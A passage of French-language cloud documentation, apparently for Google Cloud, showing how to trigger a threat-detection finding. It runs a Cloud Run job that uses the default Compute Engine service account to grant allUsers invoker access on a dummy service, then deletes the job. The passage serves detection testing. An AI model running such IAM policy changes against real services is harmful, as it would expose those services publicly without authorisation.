Cette procédure de test crée un résultat Impact: Cryptomining Commands.

Escalade des privilèges : compte de service Compute Engine par défaut SetIAMPolicy

Pour déclencher un résultat Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy, exécutez une commande qui utilise le compte de service Compute Engine par défaut pour définir la stratégie IAM d'un service Cloud Run.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
       --command gcloud \
       --args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy.

Étapes suivantes